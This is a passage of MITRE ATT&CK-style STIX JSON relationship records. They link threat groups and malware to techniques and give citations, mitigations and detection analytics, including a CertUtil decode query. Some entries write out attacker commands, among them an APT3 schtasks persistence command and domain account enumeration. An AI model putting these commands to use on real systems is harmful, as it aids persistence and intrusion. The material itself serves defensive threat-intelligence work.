","relationship_type":"uses","source_ref":"intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172","target_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c93519a-28a4-4d29-99bc-02c4d0e53ae2","type":"relationship","created":"2019-04-24T20:48:39.804Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.632Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can map UPnP ports.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0c994481-fe49-4961-8b21-2864e391c85e","created":"2022-10-13T16:17:01.340Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:17:01.340Z","description":"(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c994569-1793-4d11-821e-bbf7c6c98278","type":"relationship","created":"2021-10-11T22:09:22.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2022-02-10T15:37:38.161Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) uses the curl -s -L -o command to exfiltrate archived data to a URL.(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c9b6c09-8fc9-42c7-bfd7-316e9bbfa271","type":"relationship","created":"2019-06-07T14:20:07.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2014"},{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2020-03-12T00:27:29.517Z","description":"[APT12](https://attack.mitre.org/groups/G0005) has attempted to get victims to open malicious Microsoft Word and PDF attachment sent via spearphishing.(Citation: Moran 2014)(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1","type":"relationship","created":"2017-05-31T21:33:27.056Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2020-03-16T15:36:21.672Z","description":"An [APT3](https://attack.mitre.org/groups/G0022) downloader creates persistence by creating the following scheduled task: schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON /ru \"System\".(Citation: FireEye Operation Double Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0ca9b943-46b0-4e99-b8b0-2da25abc38dd","created":"2022-04-18T18:53:21.123Z","x_mitre_version":"0.1","external_references":[{"source_name":"AdSecurity DCSync Sept 2015","url":"https://adsecurity.org/?p=1729","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017."},{"source_name":"Microsoft DRSR Dec 2017","url":"https://msdn.microsoft.com/library/cc228086.aspx","description":"Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017."},{"source_name":"Microsoft GetNCCChanges","url":"https://msdn.microsoft.com/library/dd207691.aspx","description":"Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017."},{"source_name":"Microsoft SAMR","url":"https://msdn.microsoft.com/library/cc245496.aspx","description":"Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017."},{"source_name":"Samba DRSUAPI","url":"https://wiki.samba.org/index.php/DRSUAPI","description":"SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017."},{"source_name":"Harmj0y DCSync Sept 2015","url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Monitor for replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)","modified":"2022-04-18T18:53:21.123Z","relationship_type":"detects","source_ref":"x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0cb7daf3-9c55-4210-a2a8-c5e40cf4ffbd","created":"2022-04-15T16:11:17.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Suspected Russian Activity Targeting Government and Business Entities Around the Globe","description":"Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.","url":"https://www.mandiant.com/resources/russian-targeting-gov-business"},{"source_name":"NCSC et al APT29 2024","description":"UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.","url":"https://www.ic3.gov/Media/News/2024/240226.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-06T19:15:37.761Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used repeated MFA requests to gain access to victim accounts.(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)(Citation: NCSC et al APT29 2024)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:49.063Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate processes.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0cbe929a-96e2-4ff8-bf8d-501a9a8d2ad2","created":"2021-09-28T20:33:51.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Qakbot October 2020","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T18:12:49.769Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can identify remote systems through the net view command.(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0cc48b39-3f2c-4c27-be1a-0fb6cd7bcaaf","created":"2022-06-06T18:40:53.300Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can establish persistence on a targeted host with scheduled tasks.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T15:16:49.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cc7cd3a-629e-4f90-9fca-1dde823fa428","type":"relationship","created":"2019-04-23T12:36:16.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.132Z","description":"[Empire](https://attack.mitre.org/software/S0363) has modules for enumerating domain trusts.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ccca05d-955c-40fa-9fd4-c10480abcf3d","created":"2019-01-29T21:27:25.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.985Z","description":"[APT38](https://attack.mitre.org/groups/G0082) uses a tool called CLEANTOAD that has the capability to modify Registry keys.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ccddf91-2cf3-4801-a10b-ca4d253f2c8c","type":"relationship","created":"2019-06-24T16:21:04.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T12:40:55.371Z","description":"Use multi-factor authentication wherever possible.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ccf649d-0e00-411f-8aef-74534b3591b5","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0cd688c6-1e0b-4004-b4fd-bbfb79478dd4","created":"2024-08-09T18:30:12.453Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T19:26:34.456Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) has executed a script named cln.vbs on compromised hosts.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e","type":"relationship","created":"2017-05-31T21:33:27.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","source_name":"CrowdStrike Putter Panda"}],"modified":"2019-03-25T16:53:38.861Z","description":"(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45","target_ref":"malware--800bdfba-6d66-480f-9f45-15845c05cb5d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cde11e7-e81f-4e32-a076-92ac53e88112","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for API calls that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cde4443-ca79-439d-ba98-e6c4aa57e70a","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor executed commands and arguments that may abuse security support providers (SSPs) to execute DLLs when the system boots.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ce8fbfc-10cf-4fd4-8314-5a3f184a986d","type":"relationship","created":"2021-09-30T12:58:59.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.807Z","description":"(Citation: ATT QakBot April 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0ce9c0f3-6da9-402c-adc4-a001877e40e6","created":"2022-06-07T17:22:56.787Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-07T17:22:56.787Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ceaba74-3ead-4070-bbe6-68912552d98c","created":"2024-07-10T18:53:44.201Z","revoked":false,"external_references":[{"source_name":"RedCanary Mockingbird May 2020","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-10T18:53:44.201Z","description":"(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0cf04ae0-bc60-46e8-8cc7-9311e291dc20","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:49:07.554Z","description":"Monitor for newly executed processes that attempt to hide artifacts of an intrusion, such as common archive file applications and extensions (ex: Zip and RAR archive tools), and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\n\nCertUtil.exe may be used to encode and decode a file, including PE and script code. Encoding will convert a file to base64 with -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- tags. Malicious usage will include decoding an encoded file that was downloaded. Once decoded, it will be loaded by a parallel process. Note that there are two additional command switches that may be used - encodehex and decodehex. Similarly, the file will be encoded in HEX and later decoded for further execution. During triage, identify the source of the file being decoded. Review its contents or execution behavior for further analysis.\n\nAnalytic Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The analytic is oriented around the creation of CertUtil.exe processes, which may be used to encode and decode files, including PE and script code. Malicious usage will include decoding a encoded file that was downloaded. Once decoded, it will be loaded by a parallel process.\n\nAnalytic 1 - CertUtil with Decode Argument\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=”C:\\Windows\\System32\\certutil.exe” AND\n CommandLine= *decode* )","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cf14628-b4c0-470a-9059-43fc562717d8","type":"relationship","created":"2019-04-19T15:30:36.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.438Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cf2ae01-9d19-46d7-949e-e6d7a5639a95","type":"relationship","created":"2021-01-29T20:02:21.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."}],"modified":"2021-07-21T12:24:09.285Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used the Windows service winmgmts:\\\\.\\root\\SecurityCenter2 to check installed antivirus products.(Citation: Rewterz Sidewinder APT April 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0cf8d5da-a127-4b48-bbf9-e5a0376033b4","type":"relationship","created":"2020-10-06T16:10:42.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 2020."}],"modified":"2020-10-06T16:10:42.495Z","description":"[SoreFang](https://attack.mitre.org/software/S0516) can enumerate domain accounts via net.exe user /domain.(Citation: CISA SoreFang July 2016)","relationship_type":"uses","source_ref":"malware--e33e4603-afab-402d-b2a1-248d435b5fe0","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d018c26-4bfa-452b-a355-e6b68c57b855","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor for newly executed processes that may establish persistence by executing malicious content triggered by a file type 